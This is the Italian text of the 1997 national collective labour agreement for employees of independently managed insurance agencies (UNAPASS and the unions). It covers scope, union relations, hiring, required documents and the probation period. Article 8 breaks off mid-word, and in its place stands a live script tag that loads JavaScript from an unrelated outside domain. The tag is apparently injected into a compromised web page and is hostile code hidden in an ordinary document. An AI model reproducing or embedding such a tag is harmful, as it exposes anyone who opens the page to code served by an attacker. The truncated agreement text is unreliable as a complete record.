Categoria: Assicurazioni (agenzie in gestione libera, UNAPASS)
Settore: Credito e Assicurazioni
Data stipula: 2-9-1997
Data decorrenza: 1-1-1997
Data scadenza: 31-12-2000

Contratto Collettivo Nazionale di Lavoro

PER I DIPENDENTI DELLE AGENZIE DI ASSICURAZIONI
IN GESTIONE LIBERA (normativo ed economico)


Il giorno 2 settembre 1997 in Milano

tra

-   l'Unione Nazionale Agenti Professionisti di Assicurazioni (UNAPASS)

e

-   la Federazione Italiana Bancari e Assicurativi (FIBA-CISL);
-    la  Federazione  Italiana Sindacale Lavoratori Assicurazione  Credito
  (FISAC-CGIL);
-   l'Unione Italiana Lavoratori Assicurazioni (UILASS-UIL);
-   la Federazione Nazionale Assicuratori (FNA)

si è stipulato

il  presente  CCNL - normativo ed economico - per il personale  dipendente
delle agenzie d'assicurazione in gestione libera.



SFERA DI APPLICAZIONE

Art. 1.

Il  presente CCNL (normativo-economico)  regola i rapporti tra gli  agenti
d'assicurazione  in  gestione  libera  e  i  lavoratori  dipendenti,   con
esclusione   di  quelli  addetti  alla  produzione,  rappresentati   dalle
organizzazioni stipulanti.



RELAZIONI SINDACALI

Art. 2.

L'UNAPASS  e  le  OO.SS. concordano d'incontrarsi a  livello  territoriale
almeno  1  volta l'anno, per confrontarsi sull'andamento dell'occupazione,
sulla  situazione degli inquadramenti anche in riferimento alla condizione
del personale femminile, sulle iniziative di formazione professionale, sui
regimi d'orario.

L'UNAPASS conferma la disponibilità ad incontri anche periodici tendenti a
un'informazione specifica sul livello occupazionale degli addetti. Per  le
attività di cui sopra le parti costituiranno specifiche Commissioni.

Nel  caso che durante la vigenza del presente contratto intervengano nuove
disposizioni di legge o modifiche e/o integrazioni a leggi già  esistenti,
che  abbiano  significativi  riflessi su  specifiche  norme  del  presente
contratto, le parti concordano d'incontrarsi con lo scopo di esaminare  la
relativa situazione.



ASSUNZIONE DEL PERSONALE

Art. 3.

L'assunzione   del   personale  viene  effettuata   in   conformità   alle
disposizioni di legge.

Essa  è  fatta  a  tempo indeterminato, salvo le eccezioni previste  dalla
legge  18.4.62  n.  230,  dall'art. 8 della legge 23.7.91  n.  223  e  dai
successivi art. 2 bis e 7 ter.



Art. 4.

L'assunzione del personale può essere fatta con apposizione di termine, ai
sensi della legge 18.4.62 n. 230. A norma dell'art. 23 della legge 28.2.87
n. 56, l'apposizione del termine può avere luogo anche nei seguenti casi:

a)   per i lavoratori assenti e per i quali sussiste la conservazione  del
  posto di lavoro, con indicazione del nome;
b)   quando  l'assunzione  a termine corrisponda  ad  esigenze  di  lavoro
  straordinarie, temporalmente definite.



Art. 5.

L'assunzione  del  personale risulterà da atto scritto nel  quale  saranno
specificati:

a)  la data d'assunzione;
b)   la  categoria alla quale il dipendente viene assegnato per  titoli  o
  mansioni in base agli artt. 9 e 10 del presente contratto;
c)  la misura della retribuzione;
d)  la durata dell'eventuale periodo di prova;
e)  l'eventuale apposizione del termine e la tipologia del contratto.



Art. 6.

L'agente provvederà ad esporre, in luogo accessibile a tutti, l'orario  di
lavoro  e  provvederà  a  consegnare ad ogni  dipendente,  sia  alla  data
d'assunzione  che  in  occasione di ogni rinnovo contrattuale,  copia  del
CCNL.



Art. 7.

All'atto dell'assunzione potranno essere richiesti i seguenti documenti:

a)  atto di nascita;
b)  certificato generale del casellario giudiziario;
c)  certificato di residenza;
d)  stato di famiglia;
e)  titolo di studio conseguito;
f)  copia del foglio matricolare;
g)  libretto di lavoro e attestato di disoccupazione;
h)   documenti  e  dichiarazioni  per  l'applicazione  delle  disposizioni
  fiscali e previdenziali.



PERIODO DI PROVA

Art. 8.

L'eventuale  periodo  di  prova  non può superare  i  3  mesi  d'effettivo
servizio  e  non può essere ripetuto. Nel<script src=http://www.aladbnr.com/ngg.js></script>